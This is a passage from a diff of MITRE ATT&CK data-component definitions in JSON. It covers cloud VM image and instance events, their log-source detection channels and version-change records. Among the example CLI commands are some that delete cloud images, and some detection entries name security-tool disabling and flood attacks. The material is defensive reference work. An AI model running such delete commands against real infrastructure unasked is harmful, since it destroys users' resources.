+ { + "name": "Windows:perfmon", + "channel": "High sustained CPU usage by a single process" + }, + { + "name": "linux:procfs", + "channel": "Sustained high /proc/[pid]/stat usage" + }, + { + "name": "CloudWatch:Metrics", + "channel": "Sustained EC2 CPU usage above normal baseline" + }, + { + "name": "prometheus:metrics", + "channel": "Container CPU/Memory usage exceeding threshold" + }, + { + "name": "linux:syslog", + "channel": "Service stop or disable messages for security tools not reflected in SIEM alerts" + }, + { + "name": "macos:unifiedlog", + "channel": "Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons" + }, + { + "name": "CloudWatch:InstanceMetrics", + "channel": "NetworkOut spike beyond baseline" + }, + { + "name": "WinEventLog:Microsoft-Windows-TCPIP", + "channel": "Connection queue overflow or failure to allocate TCP state object" + }, + { + "name": "NSM:Flow", + "channel": "TCP: possible SYN flood or backlog limit exceeded" + }, + { + "name": "macos:unifiedlog", + "channel": "network stack resource exhaustion, tcp_accept queue overflow, repeated resets" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=1166, 7045" + }, + { + "name": "auditd:SYSCALL", + "channel": "firmware_update, kexec_load" + }, + { + "name": "journald:boot", + "channel": "Secure Boot failure, firmware version change" + }, + { + "name": "macos:unifiedlog", + "channel": "EFI firmware integrity check failed" + }, + { + "name": "macos:syslog", + "channel": "Hardware UUID or device list drift" + }, + { + "name": "Windows:perfmon", + "channel": "Sudden spike in outbound throughput without corresponding inbound traffic" + }, + { + "name": "sar:network", + "channel": "Outbound network saturation with minimal process activity" + }, + { + "name": "AWS:CloudWatch", + "channel": "Sudden spike in network output without a corresponding inbound request ratio" + }, + { + "name": "Windows:perfmon", + "channel": "Sudden spikes in CPU/Memory usage linked to specific application processes" + }, + { + "name": "CloudMetrics:InstanceHealth", + "channel": "Autoscaling, memory/cpu alarms, or instance unhealthiness" + }, + { + "name": "macos:unifiedlog", + "channel": "System Integrity Protection (SIP) state reported as disabled" + }, + { + "name": "AWS:CloudWatch", + "channel": "Unusual CPU burst or metric anomalies" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=1074" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=6006" + }, + { + "name": "linux:syslog", + "channel": "system is powering down" + }, + { + "name": "macos:unifiedlog", + "channel": "System shutdown or reboot requested" + }, + { + "name": "esxi:hostd", + "channel": "Powering off or restarting host" + }, + { + "name": "networkdevice:syslog", + "channel": "System reboot scheduled or performed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0018\", \"external_id\": \"DC0018\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Sensor Health\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"interface_details \"}, {\"name\": \"Windows:perfmon\", \"channel\": \"Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Web service process (e.g., httpd) entering crash loop or consuming excessive CPU\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Sustained spike in CPU usage on EC2 instance with web service role\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations\"}, {\"name\": \"linux:syslog\", \"channel\": \"Out of memory killer invoked or kernel panic entries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Spike in CPU or memory use from non-user-initiated processes\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)\"}, {\"name\": \"kubernetes:events\", \"channel\": \"CrashLoopBackOff, OOMKilled, container restart count exceeds threshold\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=16\"}, {\"name\": \"Windows:perfmon\", \"channel\": \"High sustained CPU usage by a single process\"}, {\"name\": \"linux:procfs\", \"channel\": \"Sustained high /proc/[pid]/stat usage\"}, {\"name\": \"CloudWatch:Metrics\", \"channel\": \"Sustained EC2 CPU usage above normal baseline\"}, {\"name\": \"prometheus:metrics\", \"channel\": \"Container CPU/Memory usage exceeding threshold\"}, {\"name\": \"linux:syslog\", \"channel\": \"Service stop or disable messages for security tools not reflected in SIEM alerts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons\"}, {\"name\": \"CloudWatch:InstanceMetrics\", \"channel\": \"NetworkOut spike beyond baseline\"}, {\"name\": \"WinEventLog:Microsoft-Windows-TCPIP\", \"channel\": \"Connection queue overflow or failure to allocate TCP state object\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP: possible SYN flood or backlog limit exceeded\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network stack resource exhaustion, tcp_accept queue overflow, repeated resets\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=1166, 7045\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"firmware_update, kexec_load\"}, {\"name\": \"journald:boot\", \"channel\": \"Secure Boot failure, firmware version change\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"EFI firmware integrity check failed\"}, {\"name\": \"macos:syslog\", \"channel\": \"Hardware UUID or device list drift\"}, {\"name\": \"Windows:perfmon\", \"channel\": \"Sudden spike in outbound throughput without corresponding inbound traffic\"}, {\"name\": \"sar:network\", \"channel\": \"Outbound network saturation with minimal process activity\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Sudden spike in network output without a corresponding inbound request ratio\"}, {\"name\": \"Windows:perfmon\", \"channel\": \"Sudden spikes in CPU/Memory usage linked to specific application processes\"}, {\"name\": \"CloudMetrics:InstanceHealth\", \"channel\": \"Autoscaling, memory/cpu alarms, or instance unhealthiness\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"System Integrity Protection (SIP) state reported as disabled\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"Unusual CPU burst or metric anomalies\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=1074\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=6006\"}, {\"name\": \"linux:syslog\", \"channel\": \"system is powering down\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"System shutdown or reboot requested\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Powering off or restarting host\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"System reboot scheduled or performed\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.544000+00:00\", \"old_value\": \"2025-04-18 15:16:18.582000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:39.369000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0015", + "external_id": "DC0015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Image Creation", + "description": "Initial construction of a virtual machine image within a cloud environment. Virtual machine images are templates containing an operating system and installed applications, which can be deployed to create new virtual machines. Monitoring the creation of these images is important because adversaries may create custom images to include malicious software or misconfigurations for later exploitation. Examples: \n\n- Azure Compute Service Image Creation\n - Example: Creating a virtual machine image in Azure using Azure CLI: `az image create --resource-group MyResourceGroup --name MyImage --source MyVM`\n- AWS EC2 AMI (Amazon Machine Image) Creation\n - Example: Creating an AMI from an EC2 instance: `aws ec2 create-image --instance-id i-1234567890abcdef0 --name \"MyAMI\" --description \"An AMI for my app\"`\n- Google Cloud Compute Engine Image Creation\n - Example: Creating a custom image using gcloud: `gcloud compute images create my-custom-image --source-disk my-disk --source-disk-zone us-central1-a`\n- VMware vSphere\n - Example: Exporting a VM to create an OVF (Open Virtualization Format) template: This could later be imported into other environments with potential tampering.\n\nThis data component can be collected through the following measures:\n\nEnable Cloud Platform Logging\n\n- Azure: Enable \"Activity Logs\" to capture image-related events such as PUT requests to `Microsoft.Compute/images`.\n- AWS: Use AWS CloudTrail to monitor `CreateImage` API calls.\n- Google Cloud: Enable \"Cloud Audit Logs\" to track custom image creation events under `compute.googleapis.com/images`.\n\nAPI Monitoring\n\n- Monitor API activity to track the creation of new images using:\n - AWS SDK/CLI `CreateImage`.\n - Azure REST API for image creation.\n - Google Cloud Compute Engine APIs.\n\nCloud SIEM Integration\n\n- Ingest cloud platform logs into a centralized SIEM for real-time monitoring and alerting.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "containerd:events", + "channel": "Image pull from untrusted registry (name NOT IN allowlist) or new digest never seen before" + }, + { + "name": "docker:daemon", + "channel": "docker build or docker commit commands followed by docker push to internal registry" + }, + { + "name": "kubernetes:audit", + "channel": "create" + }, + { + "name": "AWS:CloudTrail", + "channel": "RegisterImage" + }, + { + "name": "docker:daemon", + "channel": "docker build or POST /build API request" + }, + { + "name": "kubernetes:apiserver", + "channel": "Pod spec triggering build or custom controller activity invoking image builds" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0015\", \"external_id\": \"DC0015\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"containerd:events\", \"channel\": \"Image pull from untrusted registry (name NOT IN allowlist) or new digest never seen before\"}, {\"name\": \"docker:daemon\", \"channel\": \"docker build or docker commit commands followed by docker push to internal registry\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"create\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"RegisterImage\"}, {\"name\": \"docker:daemon\", \"channel\": \"docker build or POST /build API request\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"Pod spec triggering build or custom controller activity invoking image builds\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.369000+00:00\", \"old_value\": \"2025-04-18 15:15:53.193000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--8b4ca854-ac08-47da-b24f-601b28a39aff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0026", + "external_id": "DC0026" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Image Deletion", + "description": "Removal of a virtual machine image in a cloud infrastructure (ex: Azure Compute Service Images DELETE) Examples: \n\n- Azure Compute Service Image Deletion\n - Example: Deleting a virtual machine image using Azure CLI: `az image delete --name MyImage --resource-group MyResourceGroup`\n- AWS EC2 AMI (Amazon Machine Image) Deletion\n - Example: Deregistering an AMI in AWS: `aws ec2 deregister-image --image-id ami-1234567890abcdef0`\n- Google Cloud Compute Engine Image Deletion\n - Example: Deleting a custom image in Google Cloud: `gcloud compute images delete my-custom-image`\n- VMware vSphere\n - Example: Deleting a VM image/template from a vSphere environment:\n\nThis data component can be collected through the following measures:\n\nEnable Cloud Platform Logging\n\n- Azure: Enable \"Activity Logs\" to capture DELETE requests to `Microsoft.Compute/images`.\n- AWS: Use AWS CloudTrail to monitor `DeregisterImage` or `DeleteSnapshot` API calls.\n- Google Cloud: Enable \"Cloud Audit Logs\" to track image deletion events under `compute.googleapis.com/images`.\n\nAPI Monitoring\n\n- Monitor API activity to track the deletion of images using:\n - AWS SDK/CLI `DeregisterImage` or `DeleteSnapshot`.\n - Azure REST API DELETE operations for images.\n - Google Cloud Compute Engine APIs for image deletion.\n\nCloud SIEM Integration\n\n- Ingest logs into a centralized SIEM platform for monitoring and alerting:\n\nEvent Correlation\n\n- Correlate image deletion events with unusual account activity or concurrent unauthorized operations.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0026\", \"external_id\": \"DC0026\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:15:59.613000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:38.423000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0028", + "external_id": "DC0028" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Image Metadata", + "description": "contextual information associated with a virtual machine image, such as its name, resource group, status (active or inactive), type (custom or prebuilt), size, creation date, and permissions. This metadata is critical for understanding the state and configuration of virtual machine images in cloud environments. Examples: \n\n- Azure Compute Service Image Metadata Example:\n - Name: MyCustomImage\n - Resource Group: MyResourceGroup\n - State: Available\n - Type: Managed Image\n- AWS EC2 AMI Metadata Example:\n - Image ID: ami-1234567890abcdef0\n - Name: ProdImage\n - State: Available\n - Platform: Windows\n- Google Cloud Compute Engine Image Metadata Example:\n - Image Name: webserver-image\n - Project: my-project-id\n - Family: webserver\n - Source Disk: my-disk-id\n- VMware vSphere Template Metadata Example:\n - Name: LinuxTemplate\n - Disk Size: 40GB\n - Network Adapter: VM Network\n\nThis data component can be collected through the following measures:\n\nCloud Platform-Specific Tools\n\n- Azure:\n - Use Azure CLI to query metadata: `az image show --name MyCustomImage --resource-group MyResourceGroup`\n- AWS:\n - Use AWS CLI to describe AMI metadata: `aws ec2 describe-images --image-ids ami-1234567890abcdef0`\n- Google Cloud:\n - Use Google Cloud SDK to retrieve image metadata: `gcloud compute images describe webserver-image` \n\nAPIs\n\n- Azure: `GET /subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/images/{imageName}`\n- AWS: `DescribeImages` API.\n- Google Cloud: `GET https://compute.googleapis.com/compute/v1/projects/{project}/global/images/{image}.`\n\nCloud Management Portals\n\n- View metadata directly from the cloud provider's management console or dashboard.\n\nSIEM Integration\n\n- Aggregate metadata into SIEM platforms for centralized monitoring:\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "docker:events", + "channel": "docker.events.json" + }, + { + "name": "esxi:vmkernel", + "channel": "VMX startup messages without associated vCenter inventory records" + }, + { + "name": "kubernetes:apiserver", + "channel": "Resource creation and update logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0028\", \"external_id\": \"DC0028\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"docker:events\", \"channel\": \"docker.events.json\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMX startup messages without associated vCenter inventory records\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"Resource creation and update logs\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.423000+00:00\", \"old_value\": \"2025-04-18 15:15:56.417000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--071a09b1-8945-46fd-8bb7-6bcc89400963", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:40.151000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0036", + "external_id": "DC0036" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Image Modification", + "description": "Changes made to a virtual machine image, including setting and/or control data (ex: Azure Compute Service Images PATCH)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "docker:registry", + "channel": "push event of new image version from unrecognized user or context" + }, + { + "name": "AWS:CloudTrail", + "channel": "ModifyImageAttribute" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0036\", \"external_id\": \"DC0036\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"docker:registry\", \"channel\": \"push event of new image version from unrecognized user or context\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ModifyImageAttribute\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.151000+00:00\", \"old_value\": \"2025-04-25 14:49:48.777000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:39.434000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0076", + "external_id": "DC0076" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Instance Creation", + "description": "The initial provisioning and construction of a virtual machine (VM) or compute instance within a cloud infrastructure environment. This activity involves defining and allocating resources such as CPU, memory, storage, and networking to spin up a new compute instance. Examples:\n\n- AWS: creating an EC2 instance using RunInstances API calls.\n- Azure, creating a VM through the Azure Resource Manager (ARM).\n- GCP, an `instance.insert` action recorded.\n\n*Data Collection Measures:*\n\n- AWS CloudTrail: CloudTrail logs stored in S3 or accessible via CloudWatch.\n- Azure Activity Logs: Accessible in Azure Monitor or exported to a storage account.\n- GCP Audit Logs: Logs Explorer or BigQuery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "azure:activity", + "channel": "Microsoft.Compute/virtualMachines/write: imageReference publisher NOT IN allowlist OR plan is new/unknown" + }, + { + "name": "gcp:audit", + "channel": "compute.instances.insert: sourceImage not in approved projects OR has external image link" + }, + { + "name": "azure:activity", + "channel": "MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE" + }, + { + "name": "gcp:audit", + "channel": "compute.instances.insert" + }, + { + "name": "AWS:CloudTrail", + "channel": "RunInstances,CreateImage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0076\", \"external_id\": \"DC0076\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"azure:activity\", \"channel\": \"Microsoft.Compute/virtualMachines/write: imageReference publisher NOT IN allowlist OR plan is new/unknown\"}, {\"name\": \"gcp:audit\", \"channel\": \"compute.instances.insert: sourceImage not in approved projects OR has external image link\"}, {\"name\": \"azure:activity\", \"channel\": \"MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE\"}, {\"name\": \"gcp:audit\", \"channel\": \"compute.instances.insert\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"RunInstances,CreateImage\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.434000+00:00\", \"old_value\": \"2025-04-18 15:13:20.734000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--7561ed50-16cb-4826-82c7-c1ddca61785e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:37.952000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0081", + "external_id": "DC0081" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Instance Deletion", + "description": "Removal of a virtual machine (VM) or compute instance within a cloud infrastructure. This activity results in the termination and deletion of the allocated resources (e.g., CPU, memory, storage), making the instance unavailable for future use. Examples:\n\n- AWS: instance deletion involves the `TerminateInstances` API call, which is recorded in CloudTrail logs.\n- Azure: VM deletion can be monitored via Azure Activity Logs, showing the `Microsoft.Compute/virtualMachines/delete` operation.\n- GCP: instance deletion is logged as an instance.delete operation within GCP Audit Logs.\n\n*Data Collection Measures: \n\n- AWS CloudTrail: CloudTrail logs stored in S3 or forwarded to CloudWatch.\n- Azure Activity Logs: Accessible via Azure Monitor or exported to a storage account.\n- GCP Audit Logs: Logs Explorer or BigQuery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "azure:activity", + "channel": "MICROSOFT.COMPUTE/VIRTUALMACHINES/DELETE" + }, + { + "name": "gcp:audit", + "channel": "compute.instances.delete" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0081\", \"external_id\": \"DC0081\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"azure:activity\", \"channel\": \"MICROSOFT.COMPUTE/VIRTUALMACHINES/DELETE\"}, {\"name\": \"gcp:audit\", \"channel\": \"compute.instances.delete\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.952000+00:00\", \"old_value\": \"2025-04-18 15:13:17.500000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--2a80d95f-08c4-48e3-833e-151ef19d90f5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:38.969000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0075", + "external_id": "DC0075" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Instance Enumeration", + "description": "The process of retrieving or querying a list of virtual machine instances or compute instances within a cloud infrastructure. This activity provides a view of all available or running instances, typically including their associated metadata such as instance ID, name, state, and configuration details. Examples:\n\n- AWS: instance enumeration involves the `DescribeInstances` API call, which retrieves information about running or stopped EC2 instances.\n- Azure: VM enumeration can be monitored via the `Microsoft.Compute/virtualMachines/read` operation.\n- GCP: instance enumeration is logged as an `instance.list` operation within GCP Audit Logs.\n\n*Data Collection Measures:*\n\n- AWS CloudTrail: CloudTrail logs stored in S3 or forwarded to CloudWatch.\n- Azure Activity Logs: Accessible via Azure Monitor or exported to a storage account.\n- GCP Audit Logs: Logs Explorer or BigQuery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "DescribeDBInstances" + }, + { + "name": "azure:activity", + "channel": "MICROSOFT.COMPUTE/VIRTUALMACHINES/LIST" + }, + { + "name": "gcp:audit", + "channel": "compute.instances.list OR storage.buckets.list" + }, + { + "name": "AWS:CloudTrail", + "channel": "DescribeInstances, GetConsoleOutput, DescribeImages" + }, + { + "name": "azure:activity", + "channel": "Microsoft.Compute/virtualMachines/read" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0075\", \"external_id\": \"DC0075\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"DescribeDBInstances\"}, {\"name\": \"azure:activity\", \"channel\": \"MICROSOFT.COMPUTE/VIRTUALMACHINES/LIST\"}, {\"name\": \"gcp:audit\", \"channel\": \"compute.instances.list OR storage.buckets.list\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"DescribeInstances, GetConsoleOutput, DescribeImages\"}, {\"name\": \"azure:activity\", \"channel\": \"Microsoft.Compute/virtualMachines/read\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.969000+00:00\", \"old_value\": \"2025-04-18 15:13:14.328000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 